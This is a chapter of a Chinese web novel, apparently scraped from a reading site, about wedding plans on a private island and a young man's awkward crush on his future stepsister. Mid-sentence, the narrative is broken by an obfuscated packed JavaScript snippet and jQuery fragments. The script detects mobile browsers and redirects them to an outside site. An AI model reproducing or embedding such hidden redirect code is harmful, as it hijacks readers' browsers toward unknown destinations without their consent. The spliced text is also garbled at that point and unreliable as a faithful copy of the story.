“我做主,你们直接去圣鸟岛,正好圣鸟岛这个月腾了出来为下个月的婚礼做准备,岛上都是自家人,你们过去顺便帮我监管一下婚礼的筹备工作。”
圣鸟岛位于热带海域,岛上植被丰茂,适合旅游休闲,它是一座已开发的私人岛屿,岛上主要是经营高端的旅游业,旅游淡季时岛上的酒店均价也在五位数每晚。
圣鸟岛因为一些历史遗留问题在建国前就租借给了顾家,租期为99年,顾明杰和明瑛浓情蜜意的时候,他把圣鸟岛转让给了明瑛。
这次,明瑛和易安平的婚礼就安排在圣鸟岛,为此圣鸟岛从本月起就不接待客人,全体工作人员专心筹备主家的婚礼,易家的管家团队也早早就位,共同筹备了。
明瑛主动提议,易家的两个孩子自然不会拂了她的意,叶晦耸耸肩,他去哪儿都行,至于明钺,易家的两个继子都答应了,她这个亲生女儿要是拒绝,岂不是太打母亲的脸了。
明钺一答应,明瑛立马联系海岛的负责人,让她明天派私人飞机去接明钺,明瑛是个行动派,既然明钺已经放假了,早去晚去都是去,明天就去度假。
另外三个男人在鹿城还有一些事情没处理,所以稍晚几天过去。
明钺抬眸瞅了母亲好几眼,明瑛不耐烦,“有什么事直说!”
“我可以带朋友一起去玩吗?”
“我不在,你就是圣鸟岛的主人,你只要不把海岛玩炸了,想干什么都行,不用问我,有什么事你直接吩咐圣鸟岛目前的负责人宋巧。”
明瑛说着,直接把宋巧的微信推给了明钺,明钺“哦”了一声,内心咂舌,没想到宋巧姐升迁的速度还挺快,上个月还只是顾氏科技的前台,这个月就混到了海岛的负责人,职场果然还是要跟对领导啊。
午饭过后,大家各自散去,易安平让易寒带着明钺在易家老宅逛逛消消食,易家老宅占地面积广阔,堪比小型公园,也难怪叶晦最开始把特训的地点定在易家。
他们就是再折腾,惨叫声也传不到主宅。
叶晦牵着木木跑在最前,木木是警犬,就算退役了,每天的运动需求也很大,易寒带它的时候,经常是狗拖着人跑,人累个半死,狗也跑不畅快。
自从叶晦回来之后,木木着实感受了什么叫被遛,它每天都被叶晦带着跑马拉松,气喘吁吁地跑完,回家哐哐哐干一大盆饭,然后往地板上一趴,睡个昏天黑地,第二天又接着特训,虽然累但木木反而更黏叶。
“现在,除了小舅舅,家里其他人喊它,它理都不理。”易寒坐在明钺身边,给她讲木木的事情,说着说着,忍不住抱怨。
明钺转过脸打量他,从今天见面起,易寒就不敢看她,就连吃饭都很忙碌的样子,刚刚给她讲木木的事也是,全程不敢看她,甚至还同手同脚。
就像现在,在明钺的注视下,易寒的脸越来越红,说话也结巴了起来,“木木……木木……”
明钺打断了他,“别木木了,聊聊你吧,你怎么了?”
易寒蹭地一下坐直了身体,欲盖弥彰,“我没事!”
他这种反常的举动就算明钺神经再大条,也该察觉不对了,更何况明钺不是那种睁眼的瞎子。
要不是母亲和易安平结婚,易寒怎样都跟她没关系,可是婚礼在即,明钺不希望因为易寒引发一些没必要的风波。
明钺试探着问他:“是因为之前相亲的事?”
“不是!”易寒忽然大声否定,然后在明钺疑虑的目光中,又讷讷地说:“是……”
“对不起,我知道是我不好,我保证我之后肯定不会这样了。”
明钺还没说话,易寒道歉的话就全都秃噜了出来。
一阵冬风呼啸而过,吹得两人头顶上的大树簌簌作响,“阿嚏!”明钺打了个喷嚏,她揉了揉脸,感觉自己脸颊有些发热,好像真感冒了。
易寒身上的厚外套脱了一半,又默默地收了回去,到底是问心有愧,所以行事胆怯犹豫。
“为什么道歉?相亲不是我拒绝了你吗?”明钺没搞明白他的脑回路。
易寒低着头,正是因为你拒绝了,所以我的喜欢才变成了不能言说的秘密。
“你是因为这件事所以尴尬?”
“虽然我不知道母亲为什么要再次踏入婚姻,但她的选择我无法左右,当然我也不想左右,她和谁结婚都无法改变她是我的母亲的事实。就像你父亲,他也永远都会是你的父亲。”
“我们都成年了,父母辈的事情就让他们自己解决,我也不会争易家的财产,你放心,我的出现不会影响你的生活的,你放轻松一点。”
“我不是这个意思……”易寒急切地说,“我不是担心财产。”
你们现在的豪门继承人都这么不在乎财产的吗?想起顾轻风,明钺面容古怪,“那你担心的是什么?”
“我……”我不能说,易寒又陷入了沉默。
明钺揉了揉脑袋,拿这个闷嘴葫芦没办法,“既然你不想说,我也不追问,但是我们约法三章,不管你担心什么,想要什么,不要惹出事情搅黄了婚礼,可以吗?”
“嗯。”易寒闷闷地点头答应了。
“啪!”
“啪!”
两个热乎乎的栗子一前一后精准地打在两人额头上,叶晦牵着木木回来,顺手给了两人一人一个板栗。
“嗷…”明钺揉了揉有些红肿的额头,冷着脸抗议,“你下手能不能轻点!”
叶晦凑过来看到她额头真被栗子敲红了,缩了缩手指,讪讪笑了两声,他也没想到这么不经敲啊。
“我的错,我的错,下次一定轻点。”
“没有下次了!!”某位素来冷静的少女无能狂怒。
“那不行,还要训练呢。”叶晦人高马大地站在明钺面前,一口拒绝了她的反抗,宽厚炙热的手掌按压在她额头上,掌心轻了又轻在她额头上碰了碰。
易寒默默缩回了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430637|163395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己的手,把手放在吐舌头的木木身上揉了揉,人与人之间的差距怎么就这么大。
“嗡……”电话震动声响起,
“嗯……好”
“我哥来接我了,我先走了。”
明钺接了顾轻风告别离开了,直到明钺的身影消失在视野中,叶晦才伸出手臂往易寒肩膀上一搭,“咋了?有什么烦恼不能跟小舅舅说。”
易寒表情纠结,顿了又顿,还是不敢张口,他怕小舅舅把他揍一顿。
叶晦打量着自家外甥,啧啧……喜欢是藏不住的,这小子怕是不知道自己的心思全都写脸上了,除了明钺那个没开窍的,其他人都看出来的,只不过大家懒得管而已。
少年人的心动,实在是太过寻常了。
“你喜欢明钺?”叶晦直接问了。
“没……没有。”易寒结结巴巴的。“我,我不会喜欢妹妹的,我知道,我知道这……不对。”
“你这个年纪,对女孩子心动实在是太正常的事情了。”叶晦不理会他无力的反驳。
“我们队里每年来的新兵蛋子,年纪跟你差不多,正是春心荡漾的时候,别说可爱的女孩子了,喂猫猫狗狗都能打起来,不要太在意。”
“人本来就很容易动心,优秀的品质、卓越的智慧、有趣的性格、漂亮的容貌,单拎出来任何一项都容易打动人,明钺样样都具备,你们又都是单身,产生一些遐想是很正常的事情。”
“更何况机缘巧合,你还和人家相过亲,曾经有过亲密接触的机会,只是被对方拒绝了,你本就不甘,之后身份的转变,又告诉你动心是违背伦理的事情,所以心里的不甘与矛盾积累得越来越多。”
“这份心动,如果没有这么多机缘巧合,它自然就慢慢淡了,往后回忆起来,也不过是一份美好的心动,但因为巧合,生了不甘,不甘容易滋生执念,继续下去就不是美好的事情了。”
“你说呢?易寒!”
叶晦宽厚的手掌牢牢掐着易寒的肩膀,逼迫自己这个性格软弱的外甥抬头正视自己。
道理谁都懂,但心是不受控制的,尤其是易寒这种没受过挫折的人,在一件事情上受挫,就很容易梗在这里。
易寒垂下头,语气没落,“我知道……她不喜欢我。”
关键是人家喜不喜欢你吗?关键是你不要执着这件事啊!
叶晦没好气地猛拍了他一巴掌,
“老子刚刚说的话对狗说了是吧!”
“汪?”木木听到关键字,敏锐地竖起耳朵,盯住了叶晦。
“行了行了,你自己在这装忧郁情圣吧,老子懒得管你。”
叶晦说着,真不再继续劝说易寒,良言难劝该死的鬼,让这小子自己难受去吧。以他对这小子的了解,这小子有贼心也没贼胆,明钺也不是个好惹的,估计他也翻不出多大的风浪。
随他去吧!
这小子还没狗可爱!
“走了木木!”